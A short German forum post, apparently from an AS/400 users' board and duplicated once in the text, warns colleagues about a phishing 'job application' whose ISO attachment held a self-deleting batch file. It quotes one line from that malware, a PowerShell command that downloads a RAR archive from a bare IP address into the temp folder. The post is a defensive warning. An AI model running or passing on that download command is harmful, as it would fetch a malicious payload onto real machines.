KingofKning
01-09-19, 07:19
Hallo *all,
auch wenn es kein AS/400 Thema ist, kurz als Info, wir hatten gestern eine "Bewerbung" wo eine ISO-Datei angehängt war.
In der ISO war dann eine Batch-Datei die alle Browserprofile runterlädt und sich dann wieder löscht.
Wer es sich ansehen will......
powershell Invoke-WebRequest -Uri "http://185.82.202.66/pork.rar" -OutFile "%temp%\pork.rar
Ich habe bei uns alle ISO-Anhänge geblockt.
GG 4290
auch wenn es kein AS/400 Thema ist, kurz als Info, wir hatten gestern eine "Bewerbung" wo eine ISO-Datei angehängt war.
In der ISO war dann eine Batch-Datei die alle Browserprofile runterlädt und sich dann wieder löscht.
Wer es sich ansehen will......
powershell Invoke-WebRequest -Uri "http://185.82.202.66/pork.rar" -OutFile "%temp%\pork.rar
Ich habe bei uns alle ISO-Anhänge geblockt.
GG 4290